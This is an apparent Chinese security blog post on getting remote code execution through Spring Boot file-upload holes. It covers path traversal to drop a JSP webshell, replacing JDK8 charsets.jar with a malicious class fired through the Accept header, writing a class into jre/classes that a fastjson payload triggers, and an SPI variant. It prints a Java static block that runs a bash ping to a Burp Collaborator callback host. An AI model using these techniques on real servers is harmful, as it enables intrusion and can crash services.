springboot上传点利用


前言

我目前真不知道实战这个用的多不多,但是确实就是说这个,好像攻击的方法确实就是,比较繁琐复杂然后条件苛刻加上危害(不是指对说rce的这种危害,而是把别人服务打烂要坐牢)大

然后我们简单可以实战利用的方法和比较复杂的方法都来看一下

简单利用方法:https://rivers.chaitin.cn/blog/cqv1snh0lne0chgvdm2g
快1000star的项目:https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
Spring Boot Fat Jar 写文件getshell :
https://landgrey.me/blog/22/
但是上面那个网站我在26年10/23打不开呀
https://cangqingzhe.github.io/2021/04/16/Spring-Boot-Fat-Jar-%E5%86%99%E6%96%87%E4%BB%B6getshell%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90/

还有
https://cloud.tencent.com/developer/article/2069794
和
https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

常规简单打法

路径穿越+文件上传Get Shell

Nmap快速全端口扫描发现开放22,80和3306端口。访问目标,使用hfinger扫描发现Web应用使用了 Spring Boot 和 Ueditor ,同时在留言页面发现有个上传图片功能

抓包发现上传采用自定义API实现,没有任何限制。但是访问正常图片、txt文件、html文件都可以,访问jsp时却返回404

这个一看就是spring boot 的项目

经过查询可能的原因是:

  • 缺少依赖:如 spring-boot-starter-tomcat 和 javax.servlet-api
  • 配置错误: application.properties 或 application.yml 中的JSP配置可能不正确
  • 文件位置不正确:JSP文件必须放在正确的目录下,通常是 /src/main/webapp/WEB-INF/views/

访问 index.jsp 也返回404,应该是使用了默认的配置没有解析jsp。难道煮熟的鸭子就这么飞了?
俗话说只有不努力的黑客,没有攻不破的系统,继续尝试采用目录穿越上传到其它目录,发现报错信息返回了网站绝对路径,可以看出有tomcat(其实Spring Boot默认内置了Tomcat Web容器)

根据暴露的网站绝对路径,直接构造4个 ../ 将文件上传到网站根目录下,利用Tomcat进行解析jsp成功

然后替换为Webshell即可拿下目标

这个可以尝试下吧

charsets.jar

之前在审计的过程中发现,很多JAVA开发的网站经常使用springboot,而springboot又是可以独立于tomcat部署web项目的,而且在不做特殊配置的情况下,也并不解析jsp文件,当时也在想,如果在渗透的过程中发现了一个任意文件上传漏洞,并且目标网站没有内置jsp或者jspx的解析引擎,我该如何getshell?

以我目前的知识积累来看,在linux下且高权限的情况下,可以通过写入计划任务反弹shell。在windows下高权下可以通过写自启动的方式getshell,但是使用这些方式显然要求都比较高,一方面是需要高权限,另一方面在windows下可能有些上传点并不支持上传exe或者dll,也需要等到程序下次启动时才能上线,但是对于服务器来讲,可能管理员很久也不上来操作,这显然也是不行的。后来也想过替换jar包的方式getshell,但想到jar在运行期间替换也是不可行的。最近刚好看到Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索,作者通过分析JDK中自带且在运行期间默认没有加载的JAR完成了getshell的操作,我本着学习的态度写下了这个文章

一个类的生命周期主要经过下面这几个阶段,我们主要关注的是类加载阶段

类加载阶段主要做了什么?

1
2
3
4
1、通过一个类的全限定名来获取定义此类的二进制字节流。
2、将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。
3、在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入
口。

可以通过什么途径加载class文件?
JAVA中获取class文件的方式并不单一,可以通过下面的方式获取class文件,当然比较常用的方式还是通过jar包或者本地的class文件获取

  • 从本地系统中直接加载
  • 通过网络下载.class文件
  • 从zip,jar等归档文件中加载.class文件
  • 从专有数据库中提取.class文件
  • 将Java源文件动态编译为.class文件

并不需要等到某个类被使用时才去加载,,JVM规范允许类加载器在预料某个类将要被使用时就预先加载它。比如当虚拟机启动时,会去加载JAVA_HOME/jre/lib/下的rt.jar下的.class文件文件。我们编写一个简单类测试下

1
2
3
4
5
public class LoadTest {
public static void main(String[] args) {
System.out.println("hello word!");
}
}

在启动时加入-XX:+TraceClassLoading参数即可获得加载信息,可以看到加载了JAVA_HOME/lib/rt.jar的多个类,并没有加载其他JAVA_HOME/jre/lib/目录下其他jar包下的类

由于我们需要测试的是springboot打包的WEB项目,所以也可以搭建一个简单的springboot web项目,看看会加载哪些JAR?我编写了一个空的springBoot web项目,经过测试会在启动是加载下面的4个JDK自带的jar,可以看到这里明显是加载了charsets.jar,似乎和LandGrey文章里提到的不太一样

经过问题排查,在使用maven编译打包是,会生成一个xml文件,在这个配置文件中有GBK编码的设置

当使用maven编译跳过测试打包时,则不会生成surefire-reports目录,下面再测试下是否加载了charsets.jar。经过测试还是会加载charsets.jar,可能再下面的几个依赖包中都有设置字符集的操作吧

显然这几个文件在程序运行中想要替换是不行的,会拒绝访问,没有加载的JAR则可以直接替换

使用作者在github上提供的测试代码来分析是否加载了charsets.jar,发现在springboot程序启动的过程中还是会open下面的三个系统jar,所以理论上是不可以替换这三个jar文件的

这样测试的结果并不准确,使用handle.exe可以看到程序依赖的所有jar文件

这些jar文件显然也不能直接覆盖利用,但在linux下执行并不会加载charsets.jar文件,所以作者说到的覆盖charsets.jar这种思路目前只适用于Linux场景,不过问题不大,一般Linux跑spingboot项目会遇到的比较多

和windows类似,直接通过查看系统调用可以看到具体依赖哪些jar文件

虽然Linux下确实没有加载Charsets.jar,但是我还有下面的疑问

  • 已经Opened过的jar在Linux下能否覆盖?

    经过测试,在Linux下即使程序正在运行中,也可以直接通过上传覆盖系统的jar文件

既然在linux中可以在运行时覆盖系统的jar包,我们能不能直接覆盖一个已经被load的类?虽然确实可以这么做,但是由于springboot项目在启动时已经将ri.jar或者jsse.jar中的class加载到虚拟机了,所以即使在后面需要使用这个类,会直接从JVM虚拟机中直接加载执行,而不会再将这些类重新Load

springboot启动会不会将jar中的所有类全部加载?

经过测试,springboot并不会在启动时将某个加载的jar的所有class类进行加载,以jfr.jar为例,也仅仅加载了jdk.jfr.internal.EventWriter,这个也非常容易理解,如果每次需要加载某个class都需要将对应jar里的所有class都加载一遍,对JVM来说也是一个很大的性能损耗

通过上面的分析和测试,无论springboot在Linux中是否加载了Charsets.jar文件,我们都可以找一个不常用的类来触发我们的payload

JAVA类的初始化
前面我们大致了解了类的加载,但是加载了类并不代表我们的逻辑被执行,所以还要了解一下类的初始化阶段?

类的初始化主要做什么?

执行< clinit >(静态变量及其赋值语句、静态代码块、静态方法)
虚拟机会保证在子类< clinit >的执行之前,父类的< clinit >()先执行
什么时候会触发类的初始化?

下面的几种情况会进行类的初始化

1
2
3
4
5
6
使用new关键字实例化对象
读取或设置一个类型的静态字段
使用java.lang.reflect包的方法对类型进行反射调用的时候
当初始化类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化
当虚拟机启动时,用户需要指定一个要执行的主类(包含main()方法的那个类),虚拟机会先初始化这个主类

类初始化注意事项

同一个类加载器下,一个类型只会被初始化一 次。

通过上面的分析,我们可以尝试将恶意代码放到某个没有被load的static代码块中,只要找到触发这个类完成初始化的方法,即可执行我们的恶意代码

主动触发的初始化
在org.springframework.web.accept.HeaderContentNegotiationStrategy#resolveMediaTypes中,会去接收Accept参数

在org.springframework.util.MimeTypeUtils#parseMimeTypeInternal中会对accapt请求头的内容进行解析。将;后的内容放到LinkedHashMap中

在org.springframework.util.MimeType#MimeType(java.lang.String, java.lang.String, java.util.Map<java.lang.String,java.lang.String>)中解析parameters的值,并调用了org.springframework.util.MimeType#checkParameters

在org.springframework.util.MimeType#checkParameters中会去检查key是否为charset如果是则通过Charset.forName(value);加载charsets.jar中的某个类

当某个类没有加载过时,会执行这个类的static静态代码块

所以可以选择某个不太常用的编码方式的static静态代码块进行替换,来执行我们的恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package sun.nio.cs.ext;

public class Big5_HKSCS {
static {
fun();
}

private static java.util.HashMap<String, String> fun(){
try{
String[] command = new String[]{"/bin/bash", "-c", "ping -c 1 bxcrq03prifaz03loenphr30wr2iq7.burpcollaborator.net"};
java.lang.Runtime.getRuntime().exec(command);
}catch (Throwable e1){
e1.printStackTrace();
}
return null;
}

}

编译文件后,将编译好的Big5_HKSCS.class文件放到charsets.jar中,上传修改过的jar文件,由于charsets.jar文件比较大3M左右,所以上传时间会比较长

最终通过设置Accept头触发恶意代码

总的来说这种利用这种方式需要一些条件,利用成本也比较高。

  • 需要以高权限的方式开启springboot
  • 跨任意目录上传
  • 对于charsets.jar来说windows启动会加载并占用,无法在运行期间覆盖,所以并不适用

但charsets.jar也有着诸多缺点。
1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。
2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。
3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。
4,jdk目录需要猜测,需要字典。
5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar

classes

https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/

jdk8在加载类时,还会从/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/去找这个类,因此只需要向这里写一个Evil.class,再想办法触发即可。
比如如果存在反序列化入口,可以class Evil implements Serializable,然后反序列化这个类,如果存在fastjson1.2.68入口,用如下payload触发

1
{"@type":"java.lang.AutoCloseable","@type":"Evil"}

实际效果如下

优点如下
1,多次机会写入,Evil写坏了就写Evil2/Evil3
2,写入文件不大。
缺点如下
1,需root权限。
2,jdk目录需要猜测。
3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。
4,默认不存在classes目录,需要创建
5,需触发入口,不像charsets.jar那样可以header触发

classes+SPI机制

https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/

这个方法解决了classes的缺点5,可以在不改动charsets.jar的情况下,利用classes/META-INF/services/java.nio.charset.spi.CharsetProvider文件指向classes/Evil.class,来完成charset=Evil触发Evil.class

但同时它也多了一个缺点,charset=Evil第二次不会触发,需要不断变化charset=Evil111

总结

https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA

这个文章还讲了tomcat-docbase

方法加fastjson io链历史

我这里就先不写这个了

  1. charsets.jar JDK8,Bootstrap 类加载器加载该 jar。覆盖 jar 植入恶意字符集类,请求头 Accept 里指定 charset 触发加载。优点:header 直接触发;缺点:需要 root,一次性,类加载后失效,JDK9 + 模块化失效,容易把服务搞崩。
  2. jre/classes 写 class JDK8 加载时会扫描 jre/classes 目录。写入恶意 class,靠反序列化入口触发。优点:文件小,可以换多个恶意类反复打;缺点:root 权限,需要额外触发入口,不能 header 触发。
  3. classes+SPI 写 jre/classes,配合 SPI 配置文件注册自定义字符集,用 charset 参数触发。优点:不用篡改 charsets.jar;缺点:root,每个字符集名字只能触发一次。
  4. tomcat-docbase(重点) SpringBoot 内置 Tomcat 在 /tmp 生成随机名 tomcat-docbase 目录,其内 WEB-INF/classes 可被线程上下文类加载器 TCCL 加载。Fastjson 加载类用的就是 TCCL,适合搭配 fastjson。优点:不需要 root,JDK8、11 都支持;缺点:目录随机,需要先爆破路径,必须 TCCL 触发,普通 ObjectInputStream 反序列化不行

我是先搞定前三个吧


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录